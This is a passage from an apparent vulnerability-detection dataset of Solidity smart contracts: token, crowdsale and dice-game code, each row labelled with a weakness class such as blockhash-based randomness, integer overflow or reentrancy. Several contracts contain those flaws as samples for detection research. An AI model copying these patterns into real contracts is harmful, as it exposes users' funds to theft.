(allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract BurnableToken is StandardToken { address public constant BURN_ADDRESS = 0; /** How many tokens we burned */ event Burned(address burner, uint burnedAmount); /** * Burn extra tokens from a balance. * */ function burn(uint burnAmount) { address burner = msg.sender; balances[burner] = safeSub(balances[burner], burnAmount); totalSupply = safeSub(totalSupply, burnAmount); Burned(burner, burnAmount); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableToken is StandardToken, Ownable { using SafeMathLib for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint public decimals; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } } /** * A crowdsaled token that you can also burn. * */ contract BurnableCrowdsaleToken is BurnableToken, CrowdsaleToken { function BurnableCrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) { } }",Safe,8,8 2633.sol,"pragma solidity ^0.4.23; contract ZTHReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } modifier gameIsActive { require(gamePaused == false); _; } modifier onlyOwner { require(msg.sender == owner); _; } uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 100; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; uint public totalBets; uint public totalZTHWagered; event LogBet(address sender, uint value, uint rollUnder); event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { owner = msg.sender; ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; ZethrBankroll = zthbankrolladdr; houseEdge = 990; ownerSetMaxProfitAsPercentOfHouse(10000); ownerSetMinBet(1e18); ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (101 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } struct playerRoll{ uint200 tokenValue; uint48 blockn; uint8 rollUnder; } mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); require(block.number < ((2 ** 48) - 1)); require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; require(block.number != roll.blockn); if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } roll.blockn = uint40(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); playerRolls[_tkn.sender] = roll; emit LogBet(_tkn.sender, _tkn.value, _rollUnder); totalBets += 1; totalZTHWagered += _tkn.value; } function finishBet() public gameIsActive { _finishBet(true, msg.sender); } function _finishBet(bool delete_it, address target) private { playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); uint result; if (block.number - roll.blockn > 255) { result = 1000; } else { result = random(100, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { uint profit = calculateProfit(roll.tokenValue, rollUnder); contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); setMaxProfit(); if (delete_it){ delete playerRolls[target]; } ZTHTKN.transfer(target, profit + roll.tokenValue); } else { emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); contractBalance = contractBalance.add(roll.tokenValue); setMaxProfit(); } } struct TKN {address sender; uint value;} function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { if (_from == ZethrBankroll) { contractBalance = contractBalance.add(_value); uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { contractBalance = contractBalance.sub(amount); setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }",./Dataset/block number dependency (BN),0,0 576.sol,"pragma solidity ^0.4.16; /* 创建一个父类, 账户管理员 */ contract owned { address public owner; function owned() public { owner = msg.sender; } /* modifier是修改标志 */ modifier onlyOwner { require(msg.sender == owner); _; } /* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* receiveApproval服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的 */ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // 代币(token)的公共变量 string public name; //代币名字 string public symbol; //代币符号 uint8 public decimals = 18; //代币小数点位数, 18是默认, 尽量不要更改 uint256 public totalSupply; //代币总量 // 记录各个账户的代币数目 mapping (address => uint256) public balanceOf; // A账户存在B账户资金 mapping (address => mapping (address => uint256)) public allowance; // 转账通知事件 event Transfer(address indexed from, address indexed to, uint256 value); // 销毁金额通知事件 event Burn(address indexed from, uint256 value); /* 构造函数 */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // 根据decimals计算代币的数量 balanceOf[msg.sender] = totalSupply; // 给生成者所有的代币数量 name = tokenName; // 设置代币的名字 symbol = tokenSymbol; // 设置代币的符号 } /* 私有的交易函数 */ function _transfer(address _from, address _to, uint _value) internal { // 防止转移到0x0, 用burn代替这个功能 require(_to != 0x0); // 检测发送者是否有足够的资金 require(balanceOf[_from] >= _value); // 检查是否溢出(数据类型的溢出) require(balanceOf[_to] + _value > balanceOf[_to]); // 将此保存为将来的断言, 函数最后会有一个检验 uint previousBalances = balanceOf[_from] + balanceOf[_to]; // 减少发送者资产 balanceOf[_from] -= _value; // 增加接收者的资产 balanceOf[_to] += _value; Transfer(_from, _to, _value); // 断言检测, 不应该为错 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* 传递tokens */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* 从其他账户转移资产 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* 授权第三方从发送者账户转移代币,然后通过transferFrom()函数来执行第三方的转移操作 */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* 为其他地址设置津贴, 并通知 发送者通知代币合约, 代币合约通知服务合约receiveApproval, 服务合约指示代币合约将代币从发送者的账户转移到服务合约的账户(通过调用服务合约的transferFrom) */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * 销毁代币 */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * 从其他账户销毁代币 */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract ROSCtoken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; /* 冻结账户 */ mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* 构造函数 */ function ROSCtoken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* 转账, 比父类加入了账户冻结 */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// 向指定账户增发资金 function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// 冻结 or 解冻账户 function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",./Dataset/ether strict equality (SE),3,3 282.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TestCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function TestCoin() public { symbol = ""TC""; name = ""TestCoin Token""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0] = _totalSupply; Transfer(address(0), 0x1aADad79d2104df022b7b2C6cf3eEfd7014062B0, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 34422.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 1000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000; // Update total supply (100000 for example) name = ""Lizi""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""Lizi""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 8254.sol,"pragma solidity 0.4.24; contract StakeToken { function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public view returns (uint256 balance); } contract StakeDiceGame { function () payable external { revert(); } StakeDice public stakeDice; uint256 public winningChance; function multiplierOnWin() public view returns (uint256) { uint256 beforeHouseEdge = 10000; uint256 afterHouseEdge = beforeHouseEdge - stakeDice.houseEdge(); return afterHouseEdge * 10000 / winningChance; } function maximumBet() public view returns (uint256) { uint256 availableTokens = stakeDice.stakeTokenContract().balanceOf(address(stakeDice)); return availableTokens * 10000 / multiplierOnWin() / 5; } constructor(StakeDice _stakeDice, uint256 _winningChance) public { require(_winningChance > 0); require(_winningChance < 10000); require(_stakeDice != address(0x0)); require(msg.sender == address(_stakeDice)); stakeDice = _stakeDice; winningChance = _winningChance; } function setWinningChance(uint256 _newWinningChance) external { require(msg.sender == stakeDice.owner()); require(_newWinningChance > 0); require(_newWinningChance < 10000); winningChance = _newWinningChance; } function withdrawStakeTokens(uint256 _amount, address _to) external { require(msg.sender == stakeDice.owner()); require(_to != address(0x0)); stakeDice.stakeTokenContract().transfer(_to, _amount); } } contract StakeDice { StakeToken public stakeTokenContract; mapping(address => bool) public addressIsStakeDiceGameContract; StakeDiceGame[] public allGames; uint256 public houseEdge; uint256 public minimumBet; address[] public allPlayers; mapping(address => uint256) public playersToTotalBets; mapping(address => uint256[]) 